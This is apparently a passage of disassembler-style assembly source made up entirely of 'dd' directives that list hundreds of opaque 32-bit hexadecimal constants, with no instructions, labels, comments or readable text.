		dd 4AF809C7h, 6E7BEEh, 76429F12h, 0CF4C852Ch, 0B351C00h
		dd 919AB7F5h, 53F0188Eh, 38CE5186h, 21E69851h, 2067D7FCh
		dd 0CB80CF18h, 37283685h, 0C0702C5Dh, 0EEEFF9A2h, 2BB2A00Ah
		dd 9A010C58h, 7D998E92h, 0B5F9908Bh, 5F80F48Fh,	0DAA92C22h
		dd 0C2FF1807h, 0AB34A62Eh, 1C1D9CB0h, 4ACF6Ch, 0AEC91FBCh
		dd 21000D87h, 14EF07A1h, 3032937Bh, 1AF1F269h, 0E103E45Eh
		dd 96B8A8Ch, 0C226C05Ah, 0B2F14DAh, 5D37944Bh, 28311042h
		dd 0A2009B70h, 77DDADCh, 2479F65h, 0DD93F63Eh, 0A49325EFh
		dd 0E82D0AE0h, 5B8BE02Eh, 4CB69501h, 0C7E410EBh, 9A2B3EAFh
		dd 30F098D4h, 7C391C7Ah, 6300AD52h, 0F12AC99Fh,	2D990EFh
		dd 4E326128h, 20408F07h, 180098ABh, 0C0A08205h,	38B6420h
		dd 0A1C3A840h, 11001D58h, 4796A40Ch, 609CEDCDh,	4AA1F171h
		dd 7660F8B7h, 0C1BF3711h, 137C9Eh, 9B3F295Ch, 6DC08819h
		dd 0D1D7A1C0h, 13BD4Ch,	72D05C2Fh, 44E2077Eh, 0FB68AF09h
		dd 473D01ACh, 1181C9FAh, 50A26423h, 2BC400BDh, 0E5ED00A1h
		dd 0BB906651h, 0CE0FE123h, 0A3FA4D05h, 11705B43h, 22A06028h
		dd 0DBD8005Ah, 283A42BCh, 5001E9Fh, 633E7EC2h, 225DDEh
		dd 0D53C865Ch, 0B192767Fh, 0CE8830F5h, 5430B701h, 0B2529E04h
		dd 1E84FBE8h, 408F1BA7h, 0E90EA8E5h, 7500958Ah,	41C9E7EFh
		dd 0C6D8E8h, 0BDA2541Bh, 0C2394B20h, 8A771600h,	57D41893h
		dd 51E40A14h, 0FDF848Fh, 80BF477Ah, 0DC564B6Eh,	5300482Dh
		dd 0D0145806h, 3C4C11FAh, 8500AFD2h, 0AB696233h, 0F800E00Eh
		dd 6997B0Ch, 1E734580h,	804FA296h, 0D58323ADh, 3C00F77Dh
		dd 7F0DF3DAh, 464DE5Ah,	0E0BE5B81h, 45118353h, 0AEC35CC0h
		dd 0C1EE6800h, 0F3283E4Fh, 47D90169h, 1CE81D40h, 0A99FF472h
		dd 1419E91Eh, 699801C1h, 3F700CAAh, 0B5F00BDh, 94E38743h
		dd 0FA003B16h, 5649F668h, 3EAE78h, 0C9F9AC46h, 3FADF385h
		dd 5250071Ch, 759A8194h, 0FD60607h, 0C5007DE4h,	2CB2F2h
		dd 0EB9D51D2h, 587608B5h, 80F8373Eh, 5B75DC98h,	0AD3A6Ch
		dd 0DD11D0C9h, 598E64FAh, 77D97C00h, 0FCD57861h, 0DE5D16A8h
		dd 5298B0DBh, 0D02A2C03h, 0E8D90CCBh, 1F5A1659h, 0E449357Ch
		dd 52770734h, 0AD92C047h, 0AE00B643h, 0CE97E01Bh, 0FF9A507h
		dd 0DDC8BFF2h, 0EBA2F00h
		dd 0CD17CAF8h, 60017EEh, 0C8B3834h, 6A580F2Ch, 0A1201F41h
		dd 335CA0B0h, 0D59AE21Eh, 0F46CBFC0h, 3D42F0A5h, 0AF8181D0h
		dd 0A295C4E5h, 0E64DFCE0h, 0E4BE220Ch, 1302E2h,	0B5967023h
		dd 0D5F61149h, 6B283Dh,	6747C92Dh, 9F251FEh, 0DBD75315h
		dd 0BE406E0Fh, 0CD41CED6h, 66DAB212h, 0F551A400h, 8C196Ah
		dd 0A47C45DDh, 0C7DC313Ah, 394A0400h, 9BA877EBh, 1F6C00C6h
		dd 4C50E566h, 1200EF45h, 9125F35Ah, 325185h, 0BE56C070h
		dd 160503C6h, 0D967591Fh, 0DAA72680h, 3DB46D8Eh, 40801E25h
		dd 54BFE6FAh, 0E80AC3BDh, 88F0610Ch, 97E7300h, 0C0596B6Eh
		dd 0EC10ED10h, 923974C0h, 2CBF13D7h, 767D0040h,	87E95Bh
		dd 0F4FF63A5h, 98058988h, 6FD4D007h, 6BC4659Bh,	0C7EBBC0h
		dd 2AEA0114h, 0B7B4799Eh, 21F840B0h, 830019CAh,	0E861D35Ch
		dd 0C01B898Fh, 4A304D10h, 0E90E15E3h, 2C1F93EBh, 3A9D7869h
		dd 7F80C5BCh, 1C4026A2h, 6071652h, 814F25A7h, 40DBA8D2h
		dd 25E7BACh, 1BD1CFA1h,	0A840900Ch, 5D0EECCCh, 0A06B7793h
		dd 0A06854BEh, 0E4E200E9h, 8DCA5CCFh, 961372FFh, 745F9789h
		dd 0E63C1080h, 4C2D2421h, 74E4DDh, 382C19CEh, 70A94ED3h
		dd 1A809D60h, 0F2EA4h, 0AFCE68EDh, 1DFFD519h, 14E56A00h
		dd 1B8E66D1h, 9DF30051h, 8F49160Eh, 0C307481Ch,	76B96E7Fh
		dd 24C08EB5h, 1A6A71h, 0F735CE31h, 8DC155Bh, 7014520Fh
		dd 203258D4h, 2ABE0E3h,	0E260CB5Dh, 0D06888F2h,	71275E7h
		dd 0E500BD7Fh, 50B69E9Fh, 737E00BEh, 0FB5DE027h, 0F003098Eh
		dd 563C7B08h, 484FD0C4h, 0A6B700E6h, 8B9E0517h,	0DA0E1D74h
		dd 1260F139h, 32BF7C00h, 39DE16C3h, 8036F3E0h, 0C5E2D8F8h
		dd 17489B00h, 0BD3F75D5h, 0A9F630C6h, 221C5120h, 0D3A44E0h
		dd 0DB57806Dh, 37DD1AF1h, 0BF76768Ah, 2AB02640h, 702F45Ch
		dd 4FB4E775h, 1B5A8A70h, 0B548C1AAh, 70F81133h,	9B0231F2h
		dd 0A8EFB89Eh, 0E8BC603Fh, 1030F78h, 0AF646107h, 8E6887DAh
		dd 472D5E60h, 1248DD27h, 0AB320030h, 0DB8276C6h, 0C9E023h
		dd 0DD69AF14h, 1999116Dh, 0D0674924h, 0C73838A8h, 0D84D21h
		dd 0F5E92034h, 0B0E71028h, 63030034h, 1DB4407Fh, 0FFE01BC9h
		dd 8D463800h, 347A54FDh, 777E0064h, 0A87C61AAh,	0A112D020h
		dd 0C40180C3h, 6BC286A5h, 3F5569C0h, 7DF53271h,	224FC1Ch
		dd 2F52B9D2h, 4077102Ah, 88553Bh, 2ED0197Dh, 5197F59Ah
		dd 66261700h, 0DA4718E3h, 1F961D88h, 0BE820022h, 0DC63EB62h
		dd 606EBF07h, 7960BD47h, 72337431h, 1ED7930h, 0DFAE7105h
		dd 21EA93A7h, 0FB396057h, 67FE3500h, 7E22A1A9h,	1675C1h
		dd 0E0175FCBh, 0A31A62C9h, 2DE7DA2Eh, 1229823Ch, 0D0AEDB2Fh
		dd 0CBAF3CB8h, 0BCC1D106h, 0C048688Dh, 3DCC2CA5h, 0A0FE5B0Bh
		dd 24EA8224h, 0E3E737E1h, 1C8A8378h, 0C71298C0h, 0E22C6878h
		dd 0CB000624h, 0F5F1E10h, 78510048h, 19200866h,	4036D34h
		dd 0F19CF5C6h, 3CBAC015h, 1B7902B3h, 7FD323CBh,	1D6B8C40h
		dd 0B28B0500h, 2824E527h, 5E130346h, 5A2637DCh,	0A8087ABh
		dd 2B014C75h, 6BE0E110h, 0FCCD78Ah, 123B005Dh, 70920662h
		dd 0E400C519h, 0D0AE63D8h, 603FE97Eh, 69FBD0B1h, 1C050525h
		dd 3DE8676Ch, 7330C01h,	0F880FAE5h, 0D4D14F63h,	0A4012C61h
		dd 74A16421h, 90709819h, 0FB2500C7h, 128FC98Ch,	0CB07EE16h
		dd 6D8BE6AFh, 24CF2AC0h, 0D9E0FF4Eh, 0BEC10796h, 0C01AA0B6h
		dd 0AE3A917Dh, 0C70059B0h, 0F4E2DF55h, 0EAB72431h, 75FE0756h
		dd 2782F1DCh, 0D55E03B1h, 0FDE93FB8h, 0F85A8700h, 0C1F726E0h
		dd 64BC00E7h, 0B4E3BA5Bh, 1E00A452h, 84DEFF82h,	376CD8Eh
		dd 0D0F7B538h, 0CEC87A10h, 74004CECh, 23427F1Ah, 2E4EEFE6h
		dd 187C4879h, 55C3F871h, 0C7324B16h, 6DED2441h,	1041AE25h
		dd 9050F950h, 873DDh, 78316317h, 534E30B5h, 0BDD3A83Ah
		dd 29FA30DEh, 0A9AD7DFBh, 803047B0h, 60E848A2h,	43E2EA80h
		dd 730D6C65h, 42E30F81h, 961308Dh, 8CB06E39h, 887C6F87h
		dd 804C649Dh, 99C09379h, 3A0501E1h, 14ADDAEFh, 0D4B4481h
		dd 0FF4864h, 333734A2h,	0C20F92A0h, 50E95500h, 8B12C99Ah
		dd 0E4390049h, 1B68C890h, 0F9CEB345h, 70B2C0D5h, 3BA85D4Bh
		dd 0F8004CE4h, 1BECE815h, 4A18FBDFh, 5AC9DCA2h,	20D00A9h
		dd 0FEBDF214h, 4C03B15Dh, 3DAE651Dh, 0C9E8E1BAh, 0F550588Ah
		dd 3F17808Ch, 0DCAA19E2h, 6656A307h, 0E508D51h,	0C3DB76Ch
		dd 174C40D6h, 203C25C9h, 834B807Eh, 628B02AAh, 18CF266Dh
		dd 0E6EE00D0h, 0F4918E08h, 0F13C8774h, 582E0FBCh, 1C1BA324h
		dd 9118079Dh, 408D1F3Fh, 30F189F7h, 818FB53Eh, 0B62CCA71h
		dd 41BDBBF8h, 2767E186h, 303010BAh, 3955419Eh, 49C0289Bh
		dd 0E8CF0334h, 0E09985E4h, 3582580Dh, 3940089Ch, 33507186h
		dd 9930BD83h, 111B41EFh, 97518485h, 1BC3CA74h, 9AF88919h
		dd 60C535F0h, 72040F4h,	2E00FE3Ch, 79CE256Ah, 3BB6C2Ch
		dd 0D3866029h, 3DF34E1Ah, 1BE27806h, 3059EC4Dh,	0B0E91424h
		dd 750A9578h, 0E189456Fh, 7D1BC100h, 7760A0h, 126CA318h
		dd 92B88A39h, 6619F718h, 0DF9D8EC9h, 0AE6170B0h, 7F30284Fh
		dd 52CE211Bh, 0BE6F00E5h, 0CFDF9399h, 8C7F027Ah, 12BD9A1Ch
		dd 30C9BBD8h, 0BA99CBEBh, 275DF00h, 72E44D3Dh, 0E6F03300h
		dd 1F016378h, 0AD4C3327h, 0C0038688h, 0A4330897h, 0A1B0E28Bh
		dd 82308190h, 5CA65180h, 31A2DDA3h, 0C26336EEh,	8525A018h
		dd 12178040h, 2855222Ah, 312C937Eh, 65211624h, 0D04E8EEh
		dd 0BCE7CC3Eh, 848939ADh, 533FA1B8h, 20860092h,	0AB3480DAh
		dd 67921F00h, 0DE299B97h, 1162345Ah, 2C9C4514h,	62F45E9Dh
		dd 5275865Ch, 8CC32A10h, 6D952B00h, 0AAB155B3h,	9FCEEEAh
		dd 0E8E2129Dh, 49353020h, 42792FD9h, 7F301892h,	0A79649E7h
		dd 53161F27h, 4EA5474Ah, 0AE6D015Dh, 859443F1h,	1219280Ah
		dd 1BC1E892h, 99999A4Ah, 10E1E180h, 7C26C167h, 0BA0D01DDh
		dd 34C62B10h, 9815E0EDh, 31BB5807h, 9128E79Ah, 3241583h
		dd 14F902A8h, 4EB1E177h, 0F8DD0044h, 0CD4F2853h, 0A900FBAEh
		dd 1A207AB3h, 243A7157h, 803488B5h, 9234890Dh, 0E8EAA2EEh
		dd 0DCA48A7Ch, 0EC409DE6h, 161B1482h, 152240EDh, 85F0E538h
		dd 2E75C6A7h, 0AF57AC81h, 0FCAEC840h, 64C80034h, 0D576C211h
		dd 0ACA4B72Ah, 5F8AC924h, 0FC9D3E0Fh, 0F7188618h, 9AAD28F0h
		dd 0E6AE019Ch, 8ACA113Dh, 85F100BDh, 502F72C2h,	0A8E7181Fh
		dd 88969FF8h, 655C3AEh,	73D19010h, 22079704h, 0EC3CC9E6h
		dd 0CE064538h, 9F67E001h, 84303069h, 3FCEDE9h, 0DCB9CB24h
		dd 683E2E00h, 12056BCEh, 4593164Bh, 1D18C3D4h, 8B81E38h
		dd 183C1C19h, 0D0999C7Fh, 0F64909EFh, 3CB8F211h, 5F00D932h
		dd 598153B4h, 18C66h, 0DE3FC493h, 5851D827h, 713B8735h
		dd 0C04CD854h, 327A98D7h, 0C71C0486h, 894B8BD1h, 0C0502288h
		dd 0E0F1B74Fh, 25060075h, 0F926B51Dh, 4C0E0986h, 0F45535D1h
		dd 94071AB4h, 12E84C61h, 45AB8FAAh, 0C008AE78h,	6C2A518h
		dd 90F721C9h, 88E47F6Ch, 680026C9h, 4A8B61E2h, 3BF4BA6Bh
		dd 174124A3h, 3543A064h, 0A804362Fh, 39D81FAFh,	94C6951Eh
		dd 0E548CD00h, 19B1EB6h, 0D555371Eh, 4C10E740h,	2427A699h
		dd 885C1D46h, 358CE192h, 0A641C1h, 0AFED7B98h, 7ED9AB62h
		dd 571C9101h, 2E29054Ah
		dd 24151423h, 21009811h, 89F5966Ah, 3900E22Fh, 0B8B1F4BDh
		dd 0D0B3C58Ch, 0A9C0E460h, 0F1BD7B88h, 0B90A637Bh, 0C4A3D12Bh
		dd 0E9712228h, 4F64D212h, 0E7F4B030h, 5579140Eh, 0A91F587Fh
		dd 743141FEh, 0C0357D01h, 0BC071B11h, 0F13C7E07h, 643EEAC2h
		dd 8F8A40DCh, 0E8445C92h, 0D7FA0097h, 0E9E17E2Ah, 5002017h
		dd 0C7C64964h, 2C07A8DFh, 646427B4h, 8B1409Eh, 9155B01Eh
		dd 0E48408ACh, 0E9D0358Ch, 0E9890116h, 21F620B8h, 12D055AAh
		dd 0A38804F8h, 0C2B091F9h, 7218h, 0BF3DC3E2h, 68E7FD08h
		dd 915C6063h, 7C380099h, 46C18C92h, 0C09004AEh,	91D2DC5Eh
		dd 10851768h, 0BD7E197h, 30968D53h, 0F2AE5420h,	71C01722h
		dd 79C68EF1h, 18C900A0h, 0B6834854h, 7303CFA8h,	0AA594769h
		dd 0E116CB5Fh, 4C32BCB4h, 402C802Eh, 0CC8B29DBh, 0C1690101h
		dd 174E50ADh, 898D8C4Ch, 81E19F85h, 11105694h, 0AE0CE59Bh
		dd 12B9802Ah, 3E57DA48h, 76650045h, 0FB0B9222h,	527C021Bh
		dd 0AC13907Dh, 0D900A04Eh, 939D3649h, 770BCBB4h, 1F0113Ch
		dd 3D1922ECh, 0E100C6A9h, 7DB6EA07h, 60242DC9h,	9E888812h
		dd 1407A696h, 741AA094h, 78B0B039h, 98E6ECC2h, 5DBE8B00h
		dd 0EB2D2838h, 97DB1240h, 0CFC848DAh, 85E3C8Ch,	2509890h
		dd 1178AD34h, 0CCCE9199h, 98D44D22h, 0C0E845A8h, 0B11C6DEEh
		dd 1340E7B4h, 343A46EBh, 13A5F6BCh, 8F91444h, 0AD848E44h
		dd 0F540EB29h, 0F6FA76ECh, 806A6C3Eh, 7EFFC3BEh, 120BD39Bh
		dd 304478ACh, 541BF130h, 1863901Dh, 7CA0B06Ah, 802DA52h
		dd 0AE9E3283h, 44CC647Eh, 95056FCBh, 948FFAA9h,	0E8D274D4h
		dd 23331142h, 7DCF00DCh, 39BAC512h, 7CF040h, 59FE9C6Bh
		dd 0B61BF8Dh, 746A0313h, 801A3048h, 0D411872Ah,	0E02C451h
		dd 0EA5DC1CBh, 3CE84EF6h, 9B001D86h, 74DC40E0h,	5300CDDFh
		dd 0E89CBB36h, 58C3FC8Bh, 2F34A48Ah, 324C4059h,	2C114DC6h
		dd 0D34F7200h, 0EF169B6Fh, 0A60107C0h, 0F47545CBh, 727CDC27h
		dd 0B7332A00h, 0E43C83E7h, 0B0FA0752h, 940768D0h, 0C2EC8825h
		dd 0B19DCE00h, 0ACAB5A4Ch, 9AB1C9B0h, 0C9354C10h, 0A89EA8A8h
		dd 77311702h, 0E82F759Fh, 0C1CC1398h, 0E8BAF121h, 51BE210Eh
		dd 801B24C8h, 332DC169h, 11671B1h, 755B3A27h, 52C6636Ah
		dd 384486C4h, 5E92F8B1h, 0B52D7600h, 2FE5AE4h, 0E115B1EAh
		dd 0AC89AC8Ch, 4B427494h, 40703F2Eh, 0D87DABE3h, 6EF88100h
		dd 598B3E38h, 934C9184h, 1B4046B7h, 6C930843h, 0D3008511h
		dd 897FB1BDh, 0BE6145ACh, 0D5491BA0h, 2D24218Ch, 57006E71h
		dd 0DD6D3EB9h, 1A64ACh,	0B8C2D912h, 77FD27C9h, 22E65822h
		dd 8652994Bh, 374F2164h, 88B4EA10h, 0D8A6C599h,	0C09BF420h
		dd 0FFAB9A80h, 0E888BCA8h, 440920CAh, 4893A0B0h, 59223B00h
		dd 0EC2560DFh, 0A80D0478h, 48A7694Fh, 3AAC801Ah, 0C8ADD4E7h
		dd 0C3452A05h, 8C4859E8h, 5F9F80EDh, 0C981B4E0h, 601EAB00h
		dd 4759302h, 34454CBCh,	0A7CEE05Ch, 6686D40h, 8309571Eh
		dd 0F4F564AFh, 88382627h, 198B1702h, 3058100Ch,	271C09Fh
		dd 0C9DA7298h, 29AEC412h, 6458C490h, 39F41DECh,	769E0Fh
		dd 0D453CC85h, 0C4011703h, 30049C9Eh, 91F6C284h, 0F11C4EF8h
		dd 6712BB13h, 9C998021h, 8F2C0C2Dh, 661285D4h, 1CC423CEh
		dd 10194384h, 0A4394493h, 0DA8A88DEh, 3C682000h, 5793CF59h
		dd 0DCF209F8h, 3C405E16h, 5C0032F1h, 0D4090636h, 5DC05A1Bh
		dd 191410E6h, 0F184A09Bh, 161CB422h, 0B4C4A303h, 0F14FA4F8h
		dd 9CE91BE8h, 8386D18Bh, 2846703Ah, 0AE80760Bh,	605B8E3Eh
		dd 0DFFC4220h, 59B600F8h, 476D7F29h, 24A1CB18h,	12AE1093h
		dd 0CCC60E8Bh, 0E6DDBD88h, 19DC48B4h, 39E2F984h, 10808B48h
		dd 16FE718h, 170D5F03h,	60EB5E0Ch, 0A975F8A7h, 0F6368409h
		dd 4D989029h, 1DAF903Ch, 0C4A76070h, 0C00997BBh, 0C5650153h
		dd 3FE49A03h, 10E8949Dh, 849F81A9h, 549CBD99h, 1C7E00F4h
		dd 6D9BD5E5h, 421F184Eh, 0F944EB32h, 948252B4h,	1C5985h
		dd 0F371B9F1h, 431CCB6Eh, 50C19A37h, 0B79E8A3Dh, 0C9215022h
		dd 4CB9C43Dh, 22288137h, 1BC212ECh, 15102113h, 831842C4h
		dd 0CA457C21h, 0BFCF6E8h, 0B8EF58A7h, 3DE7B420h, 0A0A6BA0Dh
		dd 0A4A70400h, 0E477430Ch, 0D9F90084h, 69A07409h, 7B4854CAh
		dd 80A0496Ch, 6B84FB01h, 53740148h, 8FD41860h, 0E7F6C0BAh
		dd 1A1C1B25h, 3640D71Ch, 49D2A6D6h, 3C483h, 126ED0C1h
		dd 181B3B3Ch, 2A50249Ch, 3E0D000Eh, 7AD8B57Eh, 0D727DDFCh
		dd 0E6E492BAh, 0AA2800E4h, 0FBC5736Fh, 89072581h, 0F3DB6F0h
		dd 3CF215F4h, 419F42Dh,	3D98334Fh, 11234281h, 861FD82Bh
		dd 3544C464h, 3EE2DC88h, 1D39A34Dh, 0EE713C81h,	398D8C12h
		dd 2B2C4CF0h, 0E9811C08h, 3C66E851h, 12D28420h,	224786FEh
		dd 1C7B0DD4h, 0BE9EAE00h, 9C9B42CDh, 3349E04Ch,	0B6017011h
		dd 20AACF6h, 0D370BE61h, 61BC4E71h, 0C4C5AC10h,	0C105A626h
		dd 70D0A049h, 0EB4E8844h, 0C2B43053h, 0B81C72B2h, 823E6BCCh
		dd 76D963EAh, 4585A17h,	1DD859BCh, 487CE3ADh, 3D604134h
		dd 48C84CECh, 67E28280h, 30E674h, 772326B7h, 0F22F3FBEh
		dd 0DC725D0Ah, 4B1DCCB5h, 9B5EDF81h, 9048EC09h,	893C9411h
		dd 9C981DC2h, 5A869299h, 8464408Fh, 0A034FE7Ah,	0C8795F04h
		dd 24F4C76Bh, 0E1CD0EBCh, 0B96B1B4h, 3064BA86h,	0FCF1F3FEh
		dd 0D616240Dh, 54C88921h, 953CA022h, 753D09B8h,	0FC84C939h
		dd 0F99C8CEFh, 0B296AD00h, 99A67BCDh, 0D66109FAh, 0C70B1072h
		dd 10C6581Ah, 70097E7Ah, 0A41A22Eh, 0E84458CEh,	79182446h
		dd 0C7724D1Fh, 302B0E41h, 26D4E7AAh, 700327BDh,	8A0D1080h
		dd 760CB48Fh, 3919221Bh, 2FC900FAh, 69E94C49h, 809180BDh
		dd 50A76F02h, 2DC7045h,	70AB81E2h, 74C42FD3h, 0C21A1847h
		dd 14791074h, 42969288h, 97259B43h, 0BC112C83h,	1512045Eh
		dd 18001E93h, 4C57CC0h,	82C096ACh, 0DC4FB38Bh, 0E745CC66h
		dd 1607CC72h, 0F7ECBED0h, 9446292Dh, 894BC00h, 0A5A6643Ah
		dd 83B10045h, 0A08274B7h, 4313DD95h, 0CCD8544Dh, 0CFAE3CBFh
		dd 0DD1920B2h, 0FF677C20h, 9DED0F59h, 0C2E055D1h, 4AC3E714h
		dd 30E6B42Dh, 1350E1C4h, 5C67C7F0h, 0DCAF6D04h,	183F640h
		dd 3600E0A2h, 2A3CE41Ch, 96404C10h, 80430890h, 4A67E143h
		dd 427C340Eh, 83790ECCh, 8DA08C90h, 45E28A89h, 0C41E1090h
		dd 0C8B39313h, 3201AE06h, 7F3559EFh, 0F20049E2h, 6302F0DDh
		dd 0A33500F4h, 0C6B7CB1Ch, 2209DE7Eh, 22DFD369h, 821A0700h
		dd 2F951F30h, 5C86D49Dh, 0C8111064h, 0BC07E2F0h, 0B374D853h
		dd 1349C0B0h, 542350F2h, 181EF825h, 0F1B104BDh,	550C2A8h
		dd 0B1D4ED28h, 8BA848F8h, 12589130h, 10DC6AE8h,	25ED60A0h
		dd 0FEB4B08Ah, 48181F94h, 235F071Fh, 218951BCh,	1C281886h
		dd 80DB33C3h, 5910D4EEh, 230EED07h, 4175DD5Eh, 937D1625h
		dd 9F863041h, 35181822h, 0C54199CDh, 457EA800h,	576573FDh
		dd 44222742h, 2852B8A0h, 97541411h, 3716AB94h, 1C04749Bh
		dd 1B43EA96h, 9925EF4Dh, 7D6C2024h, 177EB84h, 323F0CFEh
		dd 0DC619F58h, 8C165F53h, 443526F6h, 4577CC8h, 3C5E6EF5h
		dd 0D73490D9h, 48B0F3A3h, 5FC0009Ch, 26C938h, 1C6E69B8h
		dd 6AEF3AC7h, 7065D908h, 0D0119Ch, 422412CDh, 328DE5D8h
		dd 0CA2188B7h, 4F96E2Ch
		dd 17D70761h, 0F8508934h, 2A01BB7Dh, 7F375E0Dh,	2C249106h
		dd 0CCB0D31Fh, 0C6881BC4h, 59810060h, 4E715B7Ah, 0F509AB4Ch
		dd 928D5A34h, 7D10D8A8h, 711A3A28h, 3B80472Eh, 8300AE44h
		dd 0F1D7502Ah, 499F3DA9h, 0C204584Ch, 0A68D1202h, 0CD1E00BCh
		dd 895DBF0Eh, 37053E16h, 9E5FD782h, 84C0A29Dh, 9C16CF5Ah
		dd 20202867h, 0C2907E1Ah, 9E647D80h, 10FFDCC4h,	0E64F1Fh
		dd 88587F3Dh, 0AE061E24h, 0BA9E7912h, 5805EC4Ah, 9F11BC24h
		dd 0AC9C487Ch, 83C8F0D0h, 363EBA80h, 0CD64F4Bh,	0D3EA1D79h
		dd 0E7449E39h, 8127BAEh, 9D161A2Ah, 85B9BC98h, 29BDEF9Eh
		dd 0E4D21106h, 3098C076h, 0B4B68D0Bh, 0C3FC6877h, 56DBEF37h
		dd 6500C4F9h, 9997C235h, 0E281A712h, 6180E06Ch,	20EFDBBAh
		dd 769A9303h, 0E2AB7598h, 0B8A5C0E0h, 0D114248Ah, 0A44C69F4h
		dd 1880B099h, 0D6EBEE58h, 6622032Ah, 0C5E2FA27h, 92FC1BCBh
		dd 59201F1Ch, 6DDAAE3h,	0EB99866Ch, 1E442144h, 0FD140136h
		dd 0CA193259h, 9BF43C40h, 0C67100CAh, 5516D657h, 18073677h
		dd 1AA05C13h, 4E801502h, 8276D0h, 5B2A46Eh, 2087F55Dh
		dd 0E10471EAh, 8BFB7A98h, 349A8605h, 89B800CCh,	12BAC036h
		dd 60D3CA4Ah, 1BC780F1h, 96049117h, 9C0C749Eh, 2C8702FCh
		dd 8896076Ch, 888F05ABh, 5490A3F4h, 4FEF6D04h, 0D4F2E852h
		dd 5276E00h, 60A41268h,	2DE22940h, 0B090F6CFh, 4E001E25h
		dd 3ED5FC02h, 12E8667h,	0B54183A9h, 7DBB0BF2h, 68904A14h
		dd 12E4810Dh, 22D68D46h, 4820801Ch, 1EB9A232h, 0C2F31155h
		dd 9B014E28h, 9D4DA070h, 3441C73Ch, 0AE5B1A30h,	0B28C2090h
		dd 57F4FCECh, 96EE1998h, 58B09852h, 310C5CD0h, 78609F4h
		dd 25804C38h, 463BC6BFh, 40DC4CA3h, 0B416A132h,	8B2402A6h
		dd 0E1808C2Eh, 0D0E41C87h, 0AB3E5927h, 0C9A5EB02h, 0C01DCB0Eh
		dd 13702A71h, 5721FE35h, 0BEE060C8h, 6B049873h,	78FB47E3h
		dd 0EAE55B80h, 6CC80EC0h, 0C9331EC3h, 0E471A064h, 1F88ACB6h
		dd 90AD17h, 9603CE4Eh, 0A177800Ah, 38F3E8DCh, 80C09135h
		dd 3BB86D04h, 0B40095FCh, 0ACFF3ECEh, 5D443E2h,	0E7B5CC53h
		dd 93E8C813h, 9A492284h, 0BC00B491h, 0BDDEDF08h, 2828928Bh
		dd 34808Ah, 5C5B8303h, 1D2EAFE1h, 0D93B5AF4h, 0D43481FCh
		dd 31662106h, 8C43DC33h, 2300773Fh, 5CB54054h, 8A026548h
		dd 0FBAB0EE4h, 95B4F2E2h, 4CCC4CA9h, 0DE796E00h, 95A8778Ch
		dd 0BDEB00C1h, 0A2AE6580h, 10A89D1h, 64395C14h,	53B420A5h
		dd 25CABA19h, 44E0ABC9h, 2AF8E894h, 831110FFh, 895B0417h
		dd 0C0EF3BCCh, 9BA28FE4h, 820DDA00h, 96495AA5h,	91744B94h
		dd 22CA99ECh, 0B81827CCh, 54981970h, 8A8710CBh,	19445CC4h
		dd 380F02EDh, 2AEE6927h, 0E411E0E9h, 0F324E2C4h, 26C0DCBCh
		dd 0F84DF262h, 32342ED4h, 84E549D0h, 0C3423F01h, 0F8480A59h
		dd 0AE92449Ch, 0E72D5016h, 733AE430h, 5E553B49h, 26A0C02Ah
		dd 0AF901011h, 0EDA1E01Bh, 0D20AF419h, 5A2D7102h, 0DBFD5708h
		dd 0A34300CCh, 9418A6Ah, 17007C72h, 601BEEC8h, 9799110Fh
		dd 9F016494h, 0EDA436Dh, 0EFE0CC4Ah, 270FE5Ch, 0A1A0D42Dh
		dd 0C853EB12h, 0A74AB01h, 0CCF2DDC9h, 0A5FB0008h, 1C51FC4Eh
		dd 404139D0h, 12A0BC70h, 64D8C287h, 2B1C8930h, 7541DC60h
		dd 0DFFEFAh, 0DE3A6CCFh, 79E8E221h, 0B08AA207h,	56B4758Fh
		dd 1A0184B9h, 842FCF64h, 9B4669Fh, 0E434958Ch, 84191098h
		dd 0A6D7138Eh, 4C6CD004h, 68BA8A8h, 9E035496h, 0E2D5F8D4h
		dd 0E61D884Ch, 0C83905B9h, 8CAC8F13h, 189B8568h, 0B599C980h
		dd 43D22BFh, 42726DBh, 0A24084F1h, 8473CA30h, 524099C4h
		dd 0EB2D6E41h, 0A419E107h, 0B504B90Fh, 174FAC90h, 8249773h
		dd 0D0D24093h, 4B2C14FDh, 1580093Dh, 40E63099h,	74F5248Ch
		dd 0CA85F20Bh, 596C098Bh, 882425E8h, 0CF04BC9Eh, 6C383F0h
		dd 70B94C19h, 8640F932h, 0E444186Eh, 0D9381FDAh, 109700BDh
		dd 5A9C13C1h, 9189E113h, 800388A3h, 7CFE0FD8h, 14059025h
		dd 5A6D00F8h, 0AEC68F4Ch, 2408F63Dh, 5EDFACFh, 0D9921419h
		dd 94032A64h, 9A250D89h, 0FBE8h, 8F3D560Ch, 0D60030D2h
		dd 9EC1937Bh, 79AF46B6h, 874312FAh, 4F2C4125h, 628EE714h
		dd 76609868h, 68A7979Ah, 0D8CCF9C2h, 21408C94h,	5F397FFh
		dd 11873B94h, 80D049D7h, 0DA12E8C8h, 342E2902h,	4C87C145h
		dd 4A2200CCh, 0D9C8287Ah, 0CD00B3F1h, 6CC5A346h, 1370F77Dh
		dd 0CC8D89A8h, 6B009460h, 3272359Dh, 2A0B0FBh, 0F9B97FE5h
		dd 0CC719266h, 0BD4F3181h, 80052EDEh, 0D9357D20h, 25B04213h
		dd 0FCA328B4h, 3C8403AAh, 0EC499D46h, 3E6094E0h, 2F702309h
		dd 75E85A7Fh, 0D601007Ah, 613C5703h, 54B4F3D4h,	289469h
		dd 20E64B2Dh, 0DAC33C85h, 0BAD5CF00h, 7827D4CEh, 882E1DA1h
		dd 346C2543h, 0A0F87C00h, 78C41FB9h, 0DA413CFAh, 40E823ACh
		dd 0E849825Eh, 0EFAA9404h, 504863Fh, 27932215h,	703EB0BDh
		dd 841557F3h, 83F0E09Eh, 0AF53D050h, 5CAC1444h,	95418632h
		dd 73B20320h, 83100BFBh, 4498573Dh, 89111C2h, 9F4C1844h
		dd 372E759Ah, 0EA003E59h, 3EC2AE9Ah, 6BF89E24h,	5C2010C5h
		dd 0E3FCAF02h, 481D2384h, 991FC354h, 0ABD8006Ch, 0F5E28A11h
		dd 2AF9132Dh, 7762CC88h, 0A88CE344h, 3794119h, 2463D6FFh
		dd 68229372h, 0A61300EFh, 3F19E499h, 0DC0029BBh, 1D5FA3EBh
		dd 0E4C26BEFh, 1281CFFFh, 0A09A7DC1h, 0CC76E2BDh, 20991542h
		dd 5343D097h, 0CA19A71Ch, 10986FC5h, 30E2AC53h,	0AE411677h
		dd 8A8C4ADCh, 12A6607Ch, 0F200950h, 161B2E07h, 6385519Ch
